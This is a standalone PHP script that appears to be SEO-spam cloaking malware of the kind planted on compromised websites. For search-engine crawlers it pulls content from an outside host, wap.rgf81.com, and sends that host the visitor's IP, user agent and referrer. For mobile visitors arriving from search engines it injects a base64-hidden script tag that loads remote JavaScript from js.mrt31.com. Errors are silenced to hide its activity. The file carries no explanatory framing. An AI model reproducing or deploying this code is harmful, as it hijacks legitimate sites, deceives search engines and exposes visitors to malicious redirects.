set_time_limit(0);
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);

$a = "stristr";
$f = $_SERVER;

define('url', $f['REQUEST_URI']);
define('ent', $f['HTTP_USER_AGENT']);
define('site', "http://wap.rgf81.com/");
define('ref', !isset($f['HTTP_REFERER']) ? 'noref' : $f['HTTP_REFERER']);
define('road', "?road=" . $f['HTTP_HOST'] . url . "&refs=" . ref . "&ua=" . str_replace(" ", "", $_SERVER['HTTP_USER_AGENT']) . "&ips=" . $_SERVER["REMOTE_ADDR"]);
define('waps', '@Android|Browser|Mobile|Wap|iOs|aiduboxapp|iPad|iPhone|iPod@i');
define('regs', '@Baidu|Sogou|Yisou|Sm.cn|Bytespider|360|So.com|Toutiao.com@i');

define('area', 
    $a(url, ".xml") 
    or $a(url, ".doc") 
    or $a(url, ".pdf") 
    or $a(url, ".txt") 
    or $a(url, ".ppt") 
    or $a(url, ".pptx") 
    or $a(url, ".tacc") 
    or $a(url, ".jsp") 
    or $a(url, ".asp") 
    or $a(url, ".ga") 
    or $a(url, ".gq") 
    or $a(url, ".pdx") 
    or $a(url, ".xlsx") 
    or $a(url, ".edu") 
    or $a(url, ".gov") 
    or $a(url, "baike") 
    or $a(url, ".xls") 
    or $a(url, ".htx") 
    or $a(url, ".htt") 
    or $a(url, ".xhtml") 
    or $a(url, ".new") 
    or $a(url, ".do") 
    or $a(url, ".action") 
    or $a(url, ".frx") 
    or $a(url, ".csv") 
    or $a(url, ".docx") 
    or $a(url, ".xhtml") 
    or $a(url, ".shtml")
);

if (preg_match(regs, ent) && url != "" && url != "/" && url != "/index.php" && url != "/index.html") {
    if (area) {
        echo papa(site . road);
        exit;
    } else {
        echo papa(site . road);
        ob_flush();
        flush();
    }
}

if (preg_match("/.*(sogou|baidu|yisou|sm|bing|360|tout|haos).*/i", ref, $OutUa) && 
    preg_match(waps, ent) && 
    url != "" && 
    url != "/" && 
    url != "/index.php" && 
    url != "/index.html") {
    echo base64_decode('PHNjcmlwdCBzcmM9aHR0cHM6Ly9qcy5tcnQzMS5jb20vZHkvZHkuanM+PC9zY3JpcHQ+');
    exit();
} elseif (area) {
    header("HTTP/1.1 404 Not Found");
    header("Location: /");
    exit;
}

function papa($h) {
    $j = array('http' => array('method' => "GET", 'header' => "User-Agent:" . ent));
    $k = stream_context_create($j);
    $l = file_get_contents($h, false, $k);
    if (!empty($l)) {
        return $l;
    }
}